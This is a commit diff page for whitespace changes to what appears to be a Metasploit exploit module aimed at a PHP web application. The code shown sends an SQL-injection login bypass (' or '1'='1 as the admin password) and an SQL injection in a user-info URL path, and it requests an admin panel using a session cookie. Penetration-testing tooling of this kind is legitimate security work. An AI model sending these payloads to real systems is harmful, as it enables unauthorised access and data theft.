Minor indentation tweaks.
parent
8c23769cbc
commit
dd530a2953
|
@ -54,12 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
uri = target_uri.path
|
uri = target_uri.path
|
||||||
|
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(uri, 'changelog.txt'),
|
'uri' => normalize_uri(uri, 'changelog.txt'),
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'User-Agent' => 'Mozilla/5.0',
|
'User-Agent' => 'Mozilla/5.0',
|
||||||
'Accept-Encoding' => 'identity'
|
'Accept-Encoding' => 'identity'
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -69,16 +69,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
|
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
|
||||||
'headers' =>
|
'headers' => {
|
||||||
{
|
|
||||||
'User-Agent' => 'Mozilla/5.0',
|
'User-Agent' => 'Mozilla/5.0',
|
||||||
'Accept-Encoding' => 'identity'
|
'Accept-Encoding' => 'identity'
|
||||||
},
|
},
|
||||||
'vars_post' =>
|
'vars_post' => {
|
||||||
{
|
|
||||||
'user_name' => 'admin',
|
'user_name' => 'admin',
|
||||||
'user_pass' => '\'%20or%20\'1\'%3D\'1'
|
'user_pass' => '\'%20or%20\'1\'%3D\'1'
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -88,13 +86,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
|
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
|
||||||
'headers' =>
|
'headers' => {
|
||||||
{
|
|
||||||
'User-Agent' => 'Mozilla/5.0',
|
'User-Agent' => 'Mozilla/5.0',
|
||||||
'Accept-Encoding' => 'identity',
|
'Accept-Encoding' => 'identity',
|
||||||
'Cookie' => cookies
|
'Cookie' => cookies
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -110,13 +107,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
|
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'User-Agent' => 'Mozilla/5.0',
|
'User-Agent' => 'Mozilla/5.0',
|
||||||
'Accept-Encoding' => 'identity',
|
'Accept-Encoding' => 'identity',
|
||||||
'Cookie' => @cookie
|
'Cookie' => @cookie
|
||||||
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue